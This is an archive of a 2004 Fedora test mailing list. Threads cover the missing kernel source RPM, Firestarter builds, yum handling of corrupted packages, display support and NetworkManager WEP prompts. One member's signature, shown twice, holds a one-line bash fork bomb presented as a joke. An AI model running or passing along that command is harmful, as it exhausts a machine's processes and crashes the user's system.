(Rodolfo J. Paiz) Date: Tue, 02 Nov 2004 17:52:53 -0600 Subject: Where O where has my Kernel source gone. In-Reply-To: <1099436911.20560.6.camel@gavin.orrcon.com.au> References: <20041102170012.69FA37397A@hormel.redhat.com> <1099436911.20560.6.camel@gavin.orrcon.com.au> Message-ID: <1099439573.3368.88.camel@rodolfo.gt.factorrent.com> On Wed, 2004-11-03 at 09:08 +1000, Gavin Graham wrote: > It seems that with the build for for kernel 2.6.9 that the source rpm > has vanished..... > You must first develop enough Clue to post in text and not in HTML. Once you do that, you will find that a SOURCE RPM is packages as a .src.rpm. You can find the kernel source code there. Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From g.graham at orrcon.com.au Wed Nov 3 00:17:05 2004 From: g.graham at orrcon.com.au (Gavin Graham) Date: Wed, 03 Nov 2004 10:17:05 +1000 Subject: Where O where has my Kernel source gone. In-Reply-To: <20041102235314.78789739A0@hormel.redhat.com> References: <20041102235314.78789739A0@hormel.redhat.com> Message-ID: <1099441025.20560.11.camel@gavin.orrcon.com.au> There is a reason why it was in HTML but I amsure you are not interested and I apologise for not spending time to dig through the archives. Obviously you guys dont need the help of a newcomer (who just made a shaky start) so I'll go elsewhere. Sorry for the interruption. > > Message: 18 > Date: Tue, 02 Nov 2004 17:52:53 -0600 > From: "Rodolfo J. Paiz" > Subject: Re: Where O where has my Kernel source gone. > To: For testers of Fedora Core development releases > > Message-ID: <1099439573.3368.88.camel at rodolfo.gt.factorrent.com> > Content-Type: text/plain; charset="us-ascii" > > On Wed, 2004-11-03 at 09:08 +1000, Gavin Graham wrote: > > It seems that with the build for for kernel 2.6.9 that the source rpm > > has vanished..... > > > > You must first develop enough Clue to post in text and not in HTML. Once > you do that, you will find that a SOURCE RPM is packages as a .src.rpm. > You can find the kernel source code there. > > Cheers, > From bavinic at comcast.net Wed Nov 3 18:59:10 2004 From: bavinic at comcast.net (Jim Martin) Date: Wed, 03 Nov 2004 18:59:10 +0000 Subject: Where O where has my Kernel source gone. In-Reply-To: <1099439573.3368.88.camel@rodolfo.gt.factorrent.com> References: <20041102170012.69FA37397A@hormel.redhat.com> <1099436911.20560.6.camel@gavin.orrcon.com.au> <1099439573.3368.88.camel@rodolfo.gt.factorrent.com> Message-ID: <41892A7E.9010702@comcast.net> Rodolfo J. Paiz wrote: >On Wed, 2004-11-03 at 09:08 +1000, Gavin Graham wrote: > > >>It seems that with the build for for kernel 2.6.9 that the source rpm >>has vanished..... >> >> >> > >You must first develop enough Clue to post in text and not in HTML. Once >you do that, you will find that a SOURCE RPM is packages as a .src.rpm. >You can find the kernel source code there. > >Cheers, > > > You know, that was not needed, he asked a simple question, he does not need your sarcasim. Fedora no longer release a Source RPM for the kernel, if you seach in the archive there is a much better explanation than I could give you here. Excuse the rude ones. Jim Martin From balay at fastmail.fm Wed Nov 3 00:29:20 2004 From: balay at fastmail.fm (Satish Balay) Date: Tue, 2 Nov 2004 18:29:20 -0600 (CST) Subject: Where O where has my Kernel source gone. In-Reply-To: <41892A7E.9010702@comcast.net> References: <20041102170012.69FA37397A@hormel.redhat.com> <1099436911.20560.6.camel@gavin.orrcon.com.au> <1099439573.3368.88.camel@rodolfo.gt.factorrent.com> <41892A7E.9010702@comcast.net> Message-ID: On Wed, 3 Nov 2004, Jim Martin wrote: > Fedora no longer release a Source RPM for the kernel, if you seach in the > archive there is a much better explanation than I could give you here. Also check the release notes.. http://fedora.linux.duke.edu/FC3-rc/3/i386/os/RELEASE-NOTES-en From scott.aaron at abc.net.au Wed Nov 3 00:35:37 2004 From: scott.aaron at abc.net.au (Aaron Scott) Date: Wed, 03 Nov 2004 11:35:37 +1100 Subject: Where O where has my Kernel source gone. In-Reply-To: <41892A7E.9010702@comcast.net> References: <20041102170012.69FA37397A@hormel.redhat.com> <1099436911.20560.6.camel@gavin.orrcon.com.au> <1099439573.3368.88.camel@rodolfo.gt.factorrent.com> <41892A7E.9010702@comcast.net> Message-ID: <1099442137.3012.66.camel@localhost.localdomain> On Wed, 2004-11-03 at 18:59 +0000, Jim Martin wrote: > > > >You must first develop enough Clue to post in text and not in HTML. Once > >you do that, you will find that a SOURCE RPM is packages as a .src.rpm. > >You can find the kernel source code there. > > > >Cheers, > > > > > > > You know, that was not needed, he asked a simple question, he does not > need your sarcasim. > > Fedora no longer release a Source RPM for the kernel, if you seach in > the archive there is a much better explanation than I could give you > here. Excuse the rude ones. > > Jim Martin > I agree with this. Nothing was gained from such smart arse remarks. I sure don't care too much for receiving them. If you want to be mean to new comers join a gaming forum. There are others there who share the enthusiasm for picking on new people ;) -------------- next part -------------- An HTML attachment was scrubbed... URL: From fedora at andrewfarris.com Wed Nov 3 00:42:12 2004 From: fedora at andrewfarris.com (Andrew Farris) Date: Tue, 02 Nov 2004 16:42:12 -0800 Subject: Where O where has my Kernel source gone. In-Reply-To: <1099441025.20560.11.camel@gavin.orrcon.com.au> References: <20041102235314.78789739A0@hormel.redhat.com> <1099441025.20560.11.camel@gavin.orrcon.com.au> Message-ID: <1099442533.9400.50.camel@andrewfarris.dev> On Wed, 2004-11-03 at 10:17 +1000, Gavin Graham wrote: > There is a reason why it was in HTML but I amsure you are not interested > and I apologise for not spending time to dig through the archives. > Obviously you guys dont need the help of a newcomer (who just made a > shaky start) so I'll go elsewhere. > > Sorry for the interruption. That is surely not the response you *should* have. Everyone involved in mailing lists has once upon a time jumped in with a shaky start, so why not just roll with it and firm up your shaky start. http://crab-lab.zool.ohiou.edu/kevin/kernel-compilation-tutorial-en/ That, along with setting one little boolean 0 to a 1 in the kernel specfile will give you the source code if you really need it. For most external drivers, you don't. -- Andrew Farris (lordmorgul) - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu "..the triumph of evil is for good men to do nothing." (Edmond Burke) From jim at jbsys.com Wed Nov 3 00:53:48 2004 From: jim at jbsys.com (Jim B) Date: Tue, 2 Nov 2004 17:53:48 -0700 Subject: Firestarter? Message-ID: <009201c4c13f$947fa430$0a01a8c0@jbsys.com> I have not been able to find an RPM for Firestarter that will work with FC3RC5. Has anyone got it running? If so, did you build from source or use an RPM. This is for an X86_64 system. If from source, how? Jim From deji_aking at yahoo.ca Wed Nov 3 00:54:36 2004 From: deji_aking at yahoo.ca (Deji Akingunola) Date: Tue, 02 Nov 2004 19:54:36 -0500 Subject: Recognising Partitions In-Reply-To: <1099419831.5774.19.camel@davidz> References: <1099414688.3509.7.camel@localhost.localdomain> <1099419831.5774.19.camel@davidz> Message-ID: <41882C4C.3030108@yahoo.ca> David Zeuthen wrote: >On Tue, 2004-11-02 at 16:58 +0000, David Franks wrote: > > >>Hi, >> >> >> >It did disappear on purpose, however you may remove this section > > > > > > type="bool">false > > > > >from your /usr/share/hal/fdi/90systempolicy/storage-policy.fdi but do > > > I guess that was supposed to be /usr/share/hal/fdi/90defaultpolicy/storage-policy.fdi, on my system (FC3-RC5) the location above doesn't even exist. >HTH, >David > > > > Deji From lux at diesel-research.com Tue Nov 2 23:14:53 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 02 Nov 2004 16:14:53 -0700 Subject: 1440x900 supported on FC3 In-Reply-To: <1099430488.3330.5.camel@saturn.stcl.edu> References: <1099430488.3330.5.camel@saturn.stcl.edu> Message-ID: <1099437293.4119.0.camel@localhost.localdomain> Check out the Generic LCD Monitor settings. That display size is supported there. I overlooked it too. On Tue, 2004-11-02 at 15:21 -0600, Timothy Sandel wrote: > I've got an HP zd7310 laptop on order which comes with a 17" widesreen > display that does 1440x900 and nVidia Geforce Go5200 and was wondering > if FC3 will support that kind of video setup. > > It is shipped with WinXP Home. Gasp! > > Thanks, > > Timothy > > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Tue Nov 2 23:40:18 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 02 Nov 2004 16:40:18 -0700 Subject: Where O where has my Kernel source gone. In-Reply-To: <1099436911.20560.6.camel@gavin.orrcon.com.au> References: <20041102170012.69FA37397A@hormel.redhat.com> <1099436911.20560.6.camel@gavin.orrcon.com.au> Message-ID: <1099438818.4344.0.camel@localhost.localdomain> I really, really need it too. On Wed, 2004-11-03 at 09:08 +1000, Gavin Graham wrote: > It seems that with the build for for kernel 2.6.9 that the source rpm > has vanished..... > > Gavin Graham > Systems Operations Supervisor > Orrcon Information & Technology > Orrcon Pty Ltd > PO Box 295, Salisbury, Q. 4107 > > P: 07 32740549 E: g.graham at orrcon.com.au > F: 07 32740691 M: 0409 897288 > WWW: www.orrcon.com.au > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From jdow at earthlink.net Wed Nov 3 01:14:44 2004 From: jdow at earthlink.net (jdow) Date: Tue, 2 Nov 2004 17:14:44 -0800 Subject: Where O where has my Kernel source gone. References: <20041102170012.69FA37397A@hormel.redhat.com><1099436911.20560.6.camel@gavin.orrcon.com.au> <1099438818.4344.0.camel@localhost.localdomain> Message-ID: <02a101c4c142$80e99310$1225a8c0@kittycat> Read the thread, Kim. There is a really snarky way to get the source. (I felt like I had to go through a full dress decontamination procedure after reading all that is involved.) {o.o} I prefer the old "source" route to nirvana. From: "Kim Lux" > I really, really need it too. > > > On Wed, 2004-11-03 at 09:08 +1000, Gavin Graham wrote: > > It seems that with the build for for kernel 2.6.9 that the source rpm > > has vanished..... > > > > Gavin Graham > > Systems Operations Supervisor > > Orrcon Information & Technology > > Orrcon Pty Ltd > > PO Box 295, Salisbury, Q. 4107 > > > > P: 07 32740549 E: g.graham at orrcon.com.au > > F: 07 32740691 M: 0409 897288 > > WWW: www.orrcon.com.au > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > -- > Kim Lux (Mr.) Diesel Research Inc > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From fedora at wir-sind-cool.org Wed Nov 3 01:24:19 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Wed, 3 Nov 2004 02:24:19 +0100 Subject: Firestarter? In-Reply-To: <009201c4c13f$947fa430$0a01a8c0@jbsys.com> References: <009201c4c13f$947fa430$0a01a8c0@jbsys.com> Message-ID: <20041103022419.02015633.fedora@wir-sind-cool.org> On Tue, 2 Nov 2004 17:53:48 -0700, Jim B wrote: > I have not been able to find an RPM for Firestarter that will work with FC3RC5. > Has anyone got it running? If so, did you build from source or use an RPM. > This is for an X86_64 system. If from source, how? The src.rpm from http://download.fedora.us/fedora/fedora/2/i386/SRPMS.stable/ builds on i386 FC3RC5 at least. If it fails to build on your x86_64 machine, feel free to send me a build log via private mail. bugzilla.fedora.us is not reachable. -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.649 loadavg: 3.79 2.67 1.79 From lux at diesel-research.com Wed Nov 3 01:24:36 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 02 Nov 2004 18:24:36 -0700 Subject: Where O where has my Kernel source gone. In-Reply-To: <02a101c4c142$80e99310$1225a8c0@kittycat> References: <20041102170012.69FA37397A@hormel.redhat.com> <1099436911.20560.6.camel@gavin.orrcon.com.au> <1099438818.4344.0.camel@localhost.localdomain> <02a101c4c142$80e99310$1225a8c0@kittycat> Message-ID: <1099445076.3751.1.camel@localhost.localdomain> I was the first person to reply to the thread, but apparently my response sat on the server until just a few minutes ago. I didn't mean to be involved in a lynching, but, I have really, really do need some kernel source. I've been sitting quiet on this issue for about a week. Kim On Tue, 2004-11-02 at 17:14 -0800, jdow wrote: > Read the thread, Kim. There is a really snarky way to get the source. > (I felt like I had to go through a full dress decontamination > procedure after reading all that is involved.) > > {o.o} I prefer the old "source" route to nirvana. > > From: "Kim Lux" > > > I really, really need it too. > > > > > > On Wed, 2004-11-03 at 09:08 +1000, Gavin Graham wrote: > > > It seems that with the build for for kernel 2.6.9 that the source rpm > > > has vanished..... > > > > > > Gavin Graham > > > Systems Operations Supervisor > > > Orrcon Information & Technology > > > Orrcon Pty Ltd > > > PO Box 295, Salisbury, Q. 4107 > > > > > > P: 07 32740549 E: g.graham at orrcon.com.au > > > F: 07 32740691 M: 0409 897288 > > > WWW: www.orrcon.com.au > > > -- > > > fedora-test-list mailing list > > > fedora-test-list at redhat.com > > > To unsubscribe: > > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > -- > > Kim Lux (Mr.) Diesel Research Inc > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Wed Nov 3 01:28:24 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 02 Nov 2004 18:28:24 -0700 Subject: 1440x900 supported on FC3 In-Reply-To: <1099437293.4119.0.camel@localhost.localdomain> References: <1099430488.3330.5.camel@saturn.stcl.edu> <1099437293.4119.0.camel@localhost.localdomain> Message-ID: <1099445304.3751.4.camel@localhost.localdomain> BTW: I've got a ZD7280, with the 17" Brightview. You might want to check out www.zd7000forums.com. On Tue, 2004-11-02 at 16:14 -0700, Kim Lux wrote: > Check out the Generic LCD Monitor settings. That display size is > supported there. > > I overlooked it too. > > > On Tue, 2004-11-02 at 15:21 -0600, Timothy Sandel wrote: > > I've got an HP zd7310 laptop on order which comes with a 17" widesreen > > display that does 1440x900 and nVidia Geforce Go5200 and was wondering > > if FC3 will support that kind of video setup. > > > > It is shipped with WinXP Home. Gasp! > > > > Thanks, > > > > Timothy > > > > > -- > Kim Lux (Mr.) Diesel Research Inc > -- Kim Lux (Mr.) Diesel Research Inc From ngc4013 at cox.net Wed Nov 3 01:32:59 2004 From: ngc4013 at cox.net (Bill Cronk) Date: Tue, 02 Nov 2004 20:32:59 -0500 Subject: FC3t3 -- udev and SCSI devices [Solved] Message-ID: <4188354B.2010307@cox.net> Both RAID boxes are now working happily together on one server and I have received an email from Neil Brown at cse.unsw.edu.au concerning my question about how to change the md? reference burried in the superblock on a RAID box. Thanks to all, Bill Cronk From ad+lists at uni-x.org Wed Nov 3 01:47:34 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Wed, 03 Nov 2004 02:47:34 +0100 Subject: Where O where has my Kernel source gone. In-Reply-To: <1099438818.4344.0.camel@localhost.localdomain> References: <20041102170012.69FA37397A@hormel.redhat.com> <1099436911.20560.6.camel@gavin.orrcon.com.au> <1099438818.4344.0.camel@localhost.localdomain> Message-ID: <1099446453.589.45.camel@serendipity.dogma.lan> Am Mi, den 03.11.2004 schrieb Kim Lux um 0:40: [ reordered due to top-posting ] > > It seems that with the build for for kernel 2.6.9 that the source rpm > > has vanished..... > > Gavin Graham > I really, really need it too. > Kim Lux (Mr.) Diesel Research Inc See explained by Arjan van de Ven: http://www.redhat.com/archives/fedora-devel-list/2004-August/msg00737.html Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.8-1.521smp Serendipity 02:47:26 up 14 days, 26 users, load average: 0.34, 0.54, 0.47 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From vR at movingparts.net Wed Nov 3 02:05:11 2004 From: vR at movingparts.net (Jason 'vanRijn' Kasper) Date: Tue, 02 Nov 2004 21:05:11 -0500 Subject: NetworkManager Issues In-Reply-To: <77e74f3e04110207476002a81c@mail.gmail.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> Message-ID: <1099447511.5027.7.camel@localhost> On Tue, 2004-11-02 at 10:47 -0500, Amitabha Roy wrote: > Latest rawhide networkmanager is now asking for a password for a > wireless network > which I know is not encrypted! How can I get NetworkManagerInfo to prompt me for a WEP key?? I can't for the life of me get this to work, and I REALLY want to.... I have started /etc/init.d/NetworkManager, and started NetworkManagerInfo. My first problem is that I can't get NetworkManagerInfo to deal with a wireless network that has WEP turned on as well as doesn't broadcast its ESSID. I tried to manually get it to work by putting the ESSID in, but it doesn't ask me for a WEP key, so it's unable to associate and fails. So I reconfigured my wireless AP to broadcast its ESSID and now NetworkManagerInfo shows that network in its menu, with a lock icon in it, but it still doesn't prompt me for my WEP key!! What am I doing wrong??? -- ,-----------------------------------------------------------------// | Jason 'vanRijn' Kasper :: Numbers 6:22-26 ` | All brontosauruses are thin at one end, much MUCH thicker | in the middle, and then thin again at the far end. That is | the theory that I have and which is mine, and what it is too. , | bash$ :(){ :|:&};: `----------------------// From kevin.hobbs.1 at ohiou.edu Wed Nov 3 01:49:31 2004 From: kevin.hobbs.1 at ohiou.edu (Kevin H. Hobbs) Date: Tue, 02 Nov 2004 20:49:31 -0500 Subject: Where O where has my Kernel source gone. In-Reply-To: <1099438818.4344.0.camel@localhost.localdomain> References: <20041102170012.69FA37397A@hormel.redhat.com> <1099436911.20560.6.camel@gavin.orrcon.com.au> <1099438818.4344.0.camel@localhost.localdomain> Message-ID: <1099446571.30430.19.camel@dhcp024-208-178-227.columbus.rr.com> After rpmbuild -bp you have almost exactly the same thing. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From kevin.hobbs.1 at ohiou.edu Wed Nov 3 01:46:55 2004 From: kevin.hobbs.1 at ohiou.edu (Kevin H. Hobbs) Date: Tue, 02 Nov 2004 20:46:55 -0500 Subject: Where O where has my Kernel source gone. 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Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From royamitabha at gmail.com Wed Nov 3 02:46:44 2004 From: royamitabha at gmail.com (Amitabha Roy) Date: Tue, 2 Nov 2004 21:46:44 -0500 Subject: NetworkManager Issues In-Reply-To: <1099447511.5027.7.camel@localhost> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099447511.5027.7.camel@localhost> Message-ID: <77e74f3e041102184647cc916a@mail.gmail.com> Hmm... I am in the same situation as you. For a wireless network at home, which is WEP encrypted and not broadcasting the ESSID and I could get it to work. First - have you updated to the latest rawhide networkmanager ? Second - try first setting key using iwconfig. Then run NetworkManager. One very irritating thing about NetworkManager is that it keeps asking me for a WEP key about 4-5 times before the applet settles down. Amitabha On Tue, 02 Nov 2004 21:05:11 -0500, Jason 'vanRijn' Kasper wrote: > On Tue, 2004-11-02 at 10:47 -0500, Amitabha Roy wrote: > > Latest rawhide networkmanager is now asking for a password for a > > wireless network > > which I know is not encrypted! > > How can I get NetworkManagerInfo to prompt me for a WEP key?? I can't > for the life of me get this to work, and I REALLY want to.... > > I have started /etc/init.d/NetworkManager, and started > NetworkManagerInfo. My first problem is that I can't get > NetworkManagerInfo to deal with a wireless network that has WEP turned > on as well as doesn't broadcast its ESSID. I tried to manually get it > to work by putting the ESSID in, but it doesn't ask me for a WEP key, so > it's unable to associate and fails. > > So I reconfigured my wireless AP to broadcast its ESSID and now > NetworkManagerInfo shows that network in its menu, with a lock icon in > it, but it still doesn't prompt me for my WEP key!! > > What am I doing wrong??? > > -- > > ,-----------------------------------------------------------------// > | Jason 'vanRijn' Kasper :: Numbers 6:22-26 > ` > | All brontosauruses are thin at one end, much MUCH thicker > | in the middle, and then thin again at the far end. That is > | the theory that I have and which is mine, and what it is too. > , > | bash$ :(){ :|:&};: > `----------------------// > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From rtoledo2002 at yahoo.com Wed Nov 3 03:01:41 2004 From: rtoledo2002 at yahoo.com (Roman Toledo) Date: Tue, 2 Nov 2004 19:01:41 -0800 (PST) Subject: fc3 fresh install up2date link giving 404 error ((ver 10-29-04)rc5 ?) Message-ID: <20041103030141.79158.qmail@web60507.mail.yahoo.com> I just downloaded and installed the 10-29-2004 ver to see if I could see if Samba would work IT DOES, and the up2date link is giving a 404 error is it cause it's so new the sites are not yet up? From lux at diesel-research.com Wed Nov 3 03:14:37 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 02 Nov 2004 20:14:37 -0700 Subject: Kudos to the spam-assassin developers ! Message-ID: <1099451677.9774.2.camel@localhost.localdomain> I've been running evolution with spam assassin in FC3. It works great. I didn't have to program it to do anything. Just use the junk button on your spam emails and it develops its own rules. It must save me 15 minutes a day. I get a lot of spam. -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Wed Nov 3 03:22:05 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 02 Nov 2004 20:22:05 -0700 Subject: Using yum with unsigned and corrupted packages. Message-ID: <1099452125.9774.10.camel@localhost.localdomain> Some of the packages I'm getting from the repositories are missing signatures (no big deal) or don't match their checksums. (Big deal, in my books) If one is using yum, one incident of either of these stops the upgrade cold. (Good thing/bad thing.) The good thing is that nothing gets installed that shouldn't. The bad thing is that it rejects all the other packages too. Is there a way to proceed with the install, automatically ignoring the unsigned packages and excluding the checksum missing packages ? Is there a way to have yum query the user for permission to install each package (and not kill all of them if the user rejects one) ? BTW this was a pet peeve of mine with up2date as well. -- Kim Lux (Mr.) Diesel Research Inc From skvidal at phy.duke.edu Wed Nov 3 03:23:11 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Tue, 02 Nov 2004 22:23:11 -0500 Subject: Using yum with unsigned and corrupted packages. In-Reply-To: <1099452125.9774.10.camel@localhost.localdomain> References: <1099452125.9774.10.camel@localhost.localdomain> Message-ID: <1099452191.3344.2.camel@binkley> On Tue, 2004-11-02 at 20:22 -0700, Kim Lux wrote: > Some of the packages I'm getting from the repositories are missing > signatures (no big deal) or don't match their checksums. (Big deal, in > my books) > > If one is using yum, one incident of either of these stops the upgrade > cold. (Good thing/bad thing.) The good thing is that nothing gets > installed that shouldn't. The bad thing is that it rejects all the > other packages too. > > Is there a way to proceed with the install, automatically ignoring the > unsigned packages and excluding the checksum missing packages ? > > Is there a way to have yum query the user for permission to install each > package (and not kill all of them if the user rejects one) ? BTW this > was a pet peeve of mine with up2date as well. > Not really. B/c you'd have to recalculate all the dependencies excluding the packages that have bad signatures or bad checksums. -sv From lux at diesel-research.com Wed Nov 3 03:27:23 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 02 Nov 2004 20:27:23 -0700 Subject: Using yum with unsigned and corrupted packages. In-Reply-To: <1099452191.3344.2.camel@binkley> References: <1099452125.9774.10.camel@localhost.localdomain> <1099452191.3344.2.camel@binkley> Message-ID: <1099452443.9774.12.camel@localhost.localdomain> That makes sense. On Tue, 2004-11-02 at 22:23 -0500, seth vidal wrote: > On Tue, 2004-11-02 at 20:22 -0700, Kim Lux wrote: > > Some of the packages I'm getting from the repositories are missing > > signatures (no big deal) or don't match their checksums. (Big deal, in > > my books) > > > > If one is using yum, one incident of either of these stops the upgrade > > cold. (Good thing/bad thing.) The good thing is that nothing gets > > installed that shouldn't. The bad thing is that it rejects all the > > other packages too. > > > > Is there a way to proceed with the install, automatically ignoring the > > unsigned packages and excluding the checksum missing packages ? > > > > Is there a way to have yum query the user for permission to install each > > package (and not kill all of them if the user rejects one) ? BTW this > > was a pet peeve of mine with up2date as well. > > > > Not really. B/c you'd have to recalculate all the dependencies > excluding the packages that have bad signatures or bad checksums. > > -sv > > -- Kim Lux (Mr.) Diesel Research Inc From byte at aeon.com.my Wed Nov 3 03:36:47 2004 From: byte at aeon.com.my (Colin Charles) Date: Wed, 03 Nov 2004 14:36:47 +1100 Subject: Dell Inspiron 510m Message-ID: <1099453007.3718.45.camel@hermione.soho.bytebot.net> So, has anyone been running Rawhide (or whats to be Fc3) on these machines? How does Xorg behave? Thanks -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From fox3ec208 at wideopenwest.com Wed Nov 3 03:48:24 2004 From: fox3ec208 at wideopenwest.com (Terry Polzin) Date: Tue, 2 Nov 2004 22:48:24 -0500 Subject: Dell Inspiron 510m In-Reply-To: <1099453007.3718.45.camel@hermione.soho.bytebot.net> References: <1099453007.3718.45.camel@hermione.soho.bytebot.net> Message-ID: <200411022248.25532.fox3ec208@wideopenwest.com> On Tuesday 02 November 2004 22:36, Colin Charles wrote: > So, has anyone been running Rawhide (or whats to be Fc3) on these > machines? > > How does Xorg behave? I'm running rc3 on a inspiron 1000, Xorg runs fine for me, fc3t3 was only version where Xorg (or any X manager) worked. Tried rh9, fc1, fc2 all failed either on install or X manager failure. Enjoy Terry From P.R.Schaffner at IEEE.org Wed Nov 3 04:53:56 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Tue, 02 Nov 2004 23:53:56 -0500 Subject: FC3 RC5 - Networked LPD server printing still not working. In-Reply-To: <4187B28C.6020703@earthlink.net> References: <4182DEF4.3060700@earthlink.net> <41839A45.7010703@earthlink.net> <4183DC49.1080401@earthlink.net> <80d7e40904103012141b508bb0@mail.gmail.com> <4183F00C.5040802@earthlink.net> <1099366696.3775.20.camel@tabb1.tabb> <1099371201.3557.139.camel@localhost.localdomain> <4187B28C.6020703@earthlink.net> Message-ID: <1099457636.3839.18.camel@tabb1.tabb> On Tue, 2004-11-02 at 10:15 -0600, Gerry Tool wrote: > Rodolfo J. Paiz wrote: > > >On Mon, 2004-11-01 at 22:38 -0500, Phil Schaffner wrote: > > > > > >>Setting eth0 as a trusted device (comment 33 in BZ 133064) is > >>essentially the same as turning off the firewall if that is your only > >>interface. Good firewall rules would be preferable, unless you REALLY > >>trust your hardware firewall. Which begs the question - what is a good > >>firewall tool for FC3? Have been unable to get firestarter to work. > >>Compiles, but hangs when executed. > >> > >> > >> > > > >Shorewall (www.shorewall.net). Text files to hold configuration, so no > >cute GUI but you do get to access and modify it via SSH. Secure, > >reliable, easy to learn and use, very very powerful. 5-star tool. Well > >supported and documented, even. > > > >Cheers, > > > > > > > Thanks to Phil for the comments and to Rodolfo for the link. I have > decided to go the safe route and have ordered a copy of "Red Hat Linux > Firewalls" by Bill McCarty. I will also try out shorewall. Well, checked out shorewall and it does indeed seem powerful and thoroughly documented, but is overkill for my little home network requirements, plus must admit to having gotten used to the Firestarter cute GUI - a tough admission from an old command-line guy. Anyway, had another look around and found the new 1.0 beta release (Firestarter 0.9.9b3.2) with a .src.rpm. Had previously tried the one from Fedora.US. The rpm builds and seems to work (-: plus it has the cute penguin with the match ;^). Still don't see an option for the LPD port explicitly, but you can at least add services by name or port for individual hosts or networks. May be worth a look. Phil From P.R.Schaffner at IEEE.org Wed Nov 3 05:02:42 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Wed, 03 Nov 2004 00:02:42 -0500 Subject: Firestarter? In-Reply-To: <20041103022419.02015633.fedora@wir-sind-cool.org> References: <009201c4c13f$947fa430$0a01a8c0@jbsys.com> <20041103022419.02015633.fedora@wir-sind-cool.org> Message-ID: <1099458163.3839.22.camel@tabb1.tabb> On Wed, 2004-11-03 at 02:24 +0100, Michael Schwendt wrote: > On Tue, 2 Nov 2004 17:53:48 -0700, Jim B wrote: > > > I have not been able to find an RPM for Firestarter that will work with FC3RC5. > > Has anyone got it running? If so, did you build from source or use an RPM. > > This is for an X86_64 system. If from source, how? > > The src.rpm from http://download.fedora.us/fedora/fedora/2/i386/SRPMS.stable/ > builds on i386 FC3RC5 at least. If it fails to build on your x86_64 > machine, feel free to send me a build log via private mail. bugzilla.fedora.us > is not reachable. > > -- > Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.649 > loadavg: 3.79 2.67 1.79 http://firestarter.sourceforge.net/beta/1.0/firestarter-0.9.9b3.2-1.src.rpm works-for-me after a rebuild, but on Athlon/i686. Last time I tried the Fedora.US version, it seemingly built OK but hung when run. That was, however, WAY back at FC3t3 or so I must admit. Phil From manu at kromtek.com Wed Nov 3 05:39:32 2004 From: manu at kromtek.com (Manu Abraham) Date: Wed, 3 Nov 2004 09:39:32 +0400 Subject: Where O where has my Kernel source gone. In-Reply-To: <1099442137.3012.66.camel@localhost.localdomain> References: <20041102170012.69FA37397A@hormel.redhat.com> <41892A7E.9010702@comcast.net> <1099442137.3012.66.camel@localhost.localdomain> Message-ID: <200411030939.32598.manu@kromtek.com> On Wed November 3 2004 4:35 am, Aaron Scott wrote: > On Wed, 2004-11-03 at 18:59 +0000, Jim Martin wrote: > > >You must first develop enough Clue to post in text and not in HTML. Once > > >you do that, you will find that a SOURCE RPM is packages as a .src.rpm. > > >You can find the kernel source code there. > > > > > >Cheers, > > > > You know, that was not needed, he asked a simple question, he does not > > need your sarcasim. > > > > Fedora no longer release a Source RPM for the kernel, if you seach in > > the archive there is a much better explanation than I could give you > > here. Excuse the rude ones. > > > > Jim Martin > > I agree with this. Nothing was gained from such smart arse remarks. I > sure don't care too much for receiving them. If you want to be mean to > new comers join a gaming forum. There are others there who share the > enthusiasm for picking on new people ;) Right. One should not forget that each person was a newcomer at some point of time. Manu From vR at movingparts.net Wed Nov 3 05:42:53 2004 From: vR at movingparts.net (Jason 'vanRijn' Kasper) Date: Wed, 03 Nov 2004 00:42:53 -0500 Subject: NetworkManager Issues In-Reply-To: <77e74f3e041102184647cc916a@mail.gmail.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099447511.5027.7.camel@localhost> <77e74f3e041102184647cc916a@mail.gmail.com> Message-ID: <1099460573.4958.12.camel@localhost> On Tue, 2004-11-02 at 21:46 -0500, Amitabha Roy wrote: > On Tue, 02 Nov 2004 21:05:11 -0500, Jason 'vanRijn' Kasper > wrote: > > On Tue, 